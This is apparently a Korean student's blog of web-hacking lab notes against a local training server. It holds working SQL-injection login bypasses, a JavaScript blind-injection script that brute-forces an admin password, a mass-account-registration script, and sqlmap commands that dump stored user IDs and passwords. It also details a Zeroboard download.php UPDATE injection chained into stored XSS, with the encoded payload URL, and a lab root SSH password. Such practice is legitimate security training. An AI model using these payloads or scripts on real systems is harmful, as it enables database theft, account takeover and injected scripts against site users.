웹해킹.kr 버프슈트 intruder 자동 회원가입등, sqlmap,제로보드 취약점

Web hacking|2020. 12. 1. 09:10

http://192.168.0.100/webhack/

 

 

 

 

관리자의 아이디가 killer 이며, 비밀번호는 모른다.

단서를 통해 비밀번호가 coffe로 시작하는 소문자 10자리 인것을 알아냈다.

 

관리자로 로그인하라

 

 

3자리는 w n o i

 

*프록시로만 해결

 

 

 

 

 

방법1

 

' or 'a'='a'#

 

 

 

 

 

방법 2

var b = Array.from(Array(26).keys(), x => String.fromCharCode(x + 97));

 

for(var i = 7; i <= 9; i++)

{

for(var j = 0; j < b.length; j++)

{

var request = new XMLHttpRequest();

 

var formData = new FormData();

 

formData.append('user_id', "killer' and SUBSTRING(user_pw, " + i + ", 1) = '" + b[j] + "' #");

 

formData.append('user_pw', '1234');

 

request.open("POST", "member_login_check.php", false);

 

request.onreadystatechange = function()

{

if(request.responseText.length == 75)

{

console.log(i + " : " + b[j]);

}

}

 

request.send(formData);

}

}

 

 

 

방법 3

 

 

버프수트로 웹해킹 사이트를잡고.

 

로그인을잡고

 

 

 

send to intruder!

 

 

 

clear해주고

 

add로 감싸주고 $ $

refresh해주고

 

 

 

 

 

 

 

 

 

 

 

공격.,

 

 

 

 

 

 

 

--------------------------------------------------------------------------------------------------------------

 

다음문제

 

 

 

 

1.무제한 자동화 회원가입을 수행하라.

 

 

repeater, intruder

 

 

 

 

 

 

 

 

 

intruder 보내깅

 

 

 

 

 

 

 

user id만 add를해서 달러로 감싼다.

 

 

 

 

 

 

 

 

 

 

공격했을때

그아이디를 누르고 response에 hi라고 되있으면 된것이다!!!!

 

 

 

 

희명이형----

 

var dic = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890';

 

var tmp = [];

 

for(var k = 0; k < 10; k++)

{

for(var i = 0; i < 12; i++)

{

tmp[i] = dic[parseInt((Math.random() * 100) % dic.length)];

}

 

var formData = new FormData();

 

formData.append('user_id', tmp.join(""));

 

formData.append('name', 'hmwoo');

 

formData.append('password', '123456789')

 

formData.append('password2', '123456789')

 

formData.append('zipcode', '1234')

 

formData.append('address1', '1234')

 

formData.append('address2', '1234')

 

var request = new XMLHttpRequest();

 

request.open("post", "member_register_ok.php", false);

 

request.onreadystatechange = function()

{

console.log(tmp.join(""));

console.log(request.responseText);

}

 

request.send(formData);

}

 

 

 

 

 

 

 

 

 

 

 

----------------------------------------------------

 

다음문제

 

sql map으로 사이트의 데이터 추출

 

 

 

 

가 사용자의 입력이 웹서버 쿼리의 일부분이 되는 페이지

 

-사용자-웹서버-db서버의 연결고리 확인

 

 

 

 

 

나 '가'의 연결고리가 sql injection 공격의 가능성이 있는 취약한 연결고리 인가?

-' (오류메세지)

- 참/거짓 조건을 부여하여 페이지 반응을 확인

telstphp.vulnweb.com 참조

 

 

 

 

 

로그인 페이지에서 잘못입력하면

fail오류가 뜬다는것을 확인할수있으므로 공격이가능하다고생각한다.

 

 

다 . sqlmap 공격 수행

 

 

 

원래는 이주소인데

다른곳을 클릭해도 똑같은 주소라는것을 알수있다.

실제 주소를 찾자.

개발자 모드를키자.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

member/member_login.php

실제주소를 찾을수있다.

 

 

 

이 member/ 까지가 중요.

http://192.168.0.100/webhack/member

 

 

 

 

 

 

 

 

 

 

여기에 내가 뺴내고싶은 곳은 login 눌렀을떄 반응이나오는곳이므로

 

http://192.168.0.100/webhack/

이제이거와 합치면 login창의 url은

 

http://192.168.0.100/webhack/member/

를넣고

 

뒤에이제

action=이거를 넣는다

 

 

http://192.168.0.100/webhack/member/member_login_check.php

이게 내가빼내고싶은 url

을 찾을수있다.

 

 

 

 

 

 

개발자모드에서 post 형식인것을 확인가능 post는 숨겨서 가져오겟다.

get은 그냥 ?cat=1이런식으로가져오겠다

 

 

 

 

 

 

 

 

 

 

 

 

 

user_id, user_pw 확인가능.

꼭 name안에있는거 하기.

 

그러면 이제 조합해서

 

 

url에 post형식에 가지고싶은 데이터들 추출

 

python sqlmap.py sqlmap -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch --dump

 

 

그런데 버프수트로 할시엔 url 바로나옴

-------------------------------------------------------------------------------------------------

----------------------------------------------------

 

전체 공격

 

python sqlmap.py sqlmap -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch --dump

 

-------------------------------------------------------------------------------------------------

sqlmap

-------------------------------------------------------------------------------------------------

------------------------------------------------------------

python sqlmap.py sqlmap -h

명령어 찾기

-hh면 자세한 헬프

 

 

 

 

현재 사용중인 데이터베이스 이름 webhack

 

python sqlmap.py sqlmap --current-db -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch

 

python sqlmap.py sqlmap -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --current-db --batch --dump --dbs

 

webhack 데이터베이스의 테이블 목록

 

 

python sqlmap.py sqlmap -D webhack --tables -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch

 

희명이형 방법

 

python sqlmap.py sqlmap -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --current-db --batch --dump --tables

 

 

member 테이블의 컬럼목록

 

 

python sqlmap.py sqlmap -D webhack -T member --columns -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch

 

 

 

희명이형방법

python sqlmap.py sqlmap -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch -D webhack --dump --tables

 

 

 

 

4.데이터 추출(user_id,user_pw)

 

python sqlmap.py sqlmap -D webhack -T member -C user_id,user_pw -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch --dump

 

 

 

희명이형방법

 

python sqlmap.py sqlmap -u "http://192.168.0.100/webhack/member/member_login_check.php" --method="post" --data="user_id=sdaf&user_pw=asdf" --batch -D webhack -T member -C user_id,user_pw --dump

 

 

다른방법 2-다른게시판쪽에서하는거

 

 

python sqlmap.py sqlmap -u "http://192.168.0.100/webhack/board/board_view.php" --method="get" --data="num=231" --batch --dump

 

 

 

 

 

 

 

 

 

 

 

 

 

----------------------------------------------------------------------------------------------------------------

-----------------------------------------------------------------

post 방식 2 sql injection 공격 선생님방식

 

 

post 방식으로 데이터를 전송하는 페이지에서

사용자의 입력이 웹서버 쿼리의 일부분이 되는 곳

 

select * from member where user_id='' and user_pw="

 

1의 연결고리가 취약한지 안한지 판단.

 

a' or 'a'='a'#

123넣어보기

 

 

 

post 방식의 sql injection

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

메모장으로 열기!

 

 

 

 

 

 

 

 

 

 

 

 

 

python sqlmap.py --current-db -r injection --batch

 

 

 

sqlmap --current-db -r 파일명 --batch 요거는 칼리에서

 

 

---------------------------------------------------끝

사용중인 데이터베이스

python sqlmap.py --current-db -r injection --batch

 

테이블 목록

python sqlmap.py sqlmap -D webhack --tables -r injection --batch

 

컬럼목록

python sqlmap.py sqlmap -D webhack -T member --columns -r injection --batch

모든데이터추출

python sqlmap.py -D webhack -T member -C user_id,user_pw -r injection --batch --dump

 

--------------------------------------------------------------------------------------------------------------

 

python sqlmap.py sqlmap -h명심 이걸로 찾기!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-----------------------------------------------------------------------------------------------------

 

---------------------------------------------------------------

 

 

 

개어렵데 잘보셈

 

 

 

 

http://192.168.0.100/zb41pl6/zboard.php?id=mjc

 

 

 

 

 

 

 

 

 

 

 

 

 

 

sql injection + xss 결합해서

 

스크립트를 실행시키는게 목적

 

 

 

 

 

 

게시글에 스크립트를 입력해도 실행 불가능

<script>alert('aa')</script>

 

 

 

 

 

죽어도 실행안댐

 

2.sql injection 으로 스크립트를 강제로 삽입

 

 

게시판에 글을쓰면 insert 쿼리가 실행이됨

 

3번에서 스크립트 insert 가 불가하기 떄문에 , 현재 db의 내용을 수정하는 기능이 있는 부분을 찾아서, 스크립트를 주입하고싶다.

 

 

 

게시글의 첨부파일을 다운로드하면 다운로드 횟수가 하나씩증가한다.

이것의 의미는 첨부파일을 클릭할떄마다, 다운로드 횟수가 저장된 컬럼의 숫자가 하나씩 증가하는 update 쿼리가 실행되는것으로 추측이 가능하다.

 

update bbs set downloadcount=downloadcount+1 where no=28

 

 

update 테이블명 set 컬럼명=수정할값 where 조건

 

 

다운로드 시도시 프록시를 잡아서 단서를 찾는다.

 

1)update 쿼리는 download.php 에서 실행될것으로 추축

 

 

 

 

get방식으로나옸다.

 

 

첨부파일을 의미하는 파라메터는 filenum 일것으로 추측

 

 

 

 

이미지 다운로드를 클릭하면 다운로드 횟수가 증가하는걸보고 업데이트 유추

 

 

 

이미지다운첫번쨰꺼를 누르고버프수트로

잡았을떄 filenum=1 이거를 2로바꾸면 첨부파일의 두번쨰 꺼가 보이게되는것을보고

filenum=1이서버쿼리의 일부분이되는걸알수있다

 

 

 

3)현재 게시글의 번호를 28

 

 

오픈소스 게시판이기떄문에 php를볼수있다.

 

 

 

 

서버에 원격으로 접속하여 download.php 파일 다운로드

 

 

 

cmd에서

 

 

ssh root@192.168.0.100

root

비번 lab

 

cat /var/www/html/zb41pl6/download.php

 

 

 

 

 

=====================================================================================

 

 

 

 

<?

/***************************************************************************

* 공통 파일 include

**************************************************************************/

include "_head.php";

 

/*

echo "HTTP_HOST : ". $HTTP_HOST . "\n";

echo "HTTP_REFFER : " . $HTTP_REFERER . "\n";

 

if(!eregi($HTTP_HOST,$HTTP_REFERER)) die();

*/

 

/***************************************************************************

* 게시판 설정 체크

**************************************************************************/

 

// 사용권한 체크

if($setup[grant_view]<$member[level]&&!$is_admin) Error("사용권한이 없습니다","login.php?id=$id&page=$page&page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&keyword=$keyword&no=$no&file=zboard.php");

 

// 현재글의 Download 수를 올림;;

mysql_query("update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'");

 

$data=mysql_fetch_array(mysql_query("select * from $t_board"."_$id where no='$no'"));

 

// 다운로드;;

$filename="file_name".$filenum;

header("location:$data[$filename]");

 

if($connect) {

@mysql_close($connect);

unset($connect);

}

?>

 

 

=====================================================================================

 

 

php 파일을보면 download에 update문이 적용이되는걸확인이가능하다

 

 

 

 

 

 

 

 

update 테이블명 set 컬럼명 =수정할값 where 조건

 

update $t_board"."_$id set download".$filenum."=download".$filenum."+1 where no='$no'

 

 

"." 이거는 붙여쓴다는 의미.

 

 

 

테이블명 $t_boare_$id = board

 

컬럼 명: download$filenum= download

 

수정할 값 download$filenum+1 = download1+1

 

update $t_board set download$filenum=download.$filenum+1 where no=$no

 

 

update board set download1=download1+1 where no=28

update board set 본문컬럼=<script>alert('aa')</script> where no=28

memo

 

원래는 update 테이블명 set 컬럼명 =수정할값 where 조건

이것을

 

update 테이블명 set 컬럼명1 =수정할값 ,컬럼명2=수정할값 where 조건

이런식으로 합친다.

 

update board set download1=download1+1 where no=28

update board set 본문컬럼=<script>alert('aa')</script> where no=28

memo

 

 

update board set download1=download1+1,memo1=<script>alert('aa')</script> where no=28#

 

 

 

 

 

 

 

테이블은 board

 

작성완료를 눌렀을떄 memo라는 칼럼을 찾을수있다

 

 

 

직접처리하는로직은 write_ok.php 에 있다

 

 

리눅스에 이쪽으로 들어가서 열어보기!

 

 

ssh root@192.168.0.100 들어가서

wite_ok.php 열어보기

 

 

 

 

컨트롤 f로 insert 찾아보기.!!!!!!!!!!!

 

 

update board set download1=download1+1 where no=28

 

update board set 본문컬럼=<script>alert('aa')</script> where no=28

memo

 

memo = 게시글의 본문이 저장되는컬럼

 

위에 합쳐서 수정.

 

update board set download1=download1+1,memo1=<script>alert('aa')</script> where no=28

 

 

 

filenum=1 서버쿼리의 일부분이됨

 

update $t_board set download$filenum=download.$filenum+1 where no=$no

 

update board set download1=download1+1

 

filenum=1이라서 download뒤에도 1을 넣는다.

 

 

따라서 입력값(1)을 조작하면된다

 

실행되기 원하는 목적 쿼리

 

update board set download1=download1+1,memo=<script>alert('aa')</script>

 

 

 

 

1대신

1=10,meo='<script>alert('xss')</script>'# 을입력

 

 

 

(버프 수트에서 filenum=1 뒤에

1=10,meo='<script>alert('xss')</script>'# 을입력)

 

 

 

 

update board set download1=download1=10,memo='<script>alert('xss')</script>'#=download1=10,memo='<script>alert('xss')</script>'#+1

 

 

 

첫번쨰 주석(#)뒤로 모두 실행되지 않으므로 최종 실행되는 쿼리는

update board set download1=10,memo='<script>alert('xss')</script>'

1=뒤에 무슨 숫자가 와도 아무런 의미가없다.

 

 

 

 

 

 

 

 

http://192.168.0.100/zb41pl6/download.php?id=mjc&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=27&filenum=1

 

 

그리고 여기에

 

1=download1,memo='<script>alert("hmwoo")</script>' WHERE no=27# 인코딩을 하고 이것을

 

filenum=뒤에

 

1%3Ddownload1%2Cmemo%3D%27%3Cscript%3Ealert%28%22hmwoo%22%29%3C%2Fscript%3E%27%20WHERE%20no%3D27%23

이것을 추가한다

filenum 는 첨푸파일 하나라고 생각하셈

 

 

 

http://192.168.0.100/zb41pl6/download.php?id=mjc&page=1&sn1=&divpage=1&sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=27&filenum=1%3Ddownload1%2Cmemo%3D%27%3Cscript%3Ealert%28%22hmwoo%22%29%3C%2Fscript%3E%27%20WHERE%20no%3D27%23

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

성공.

 

 

 

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

 

 

 

 

댓글()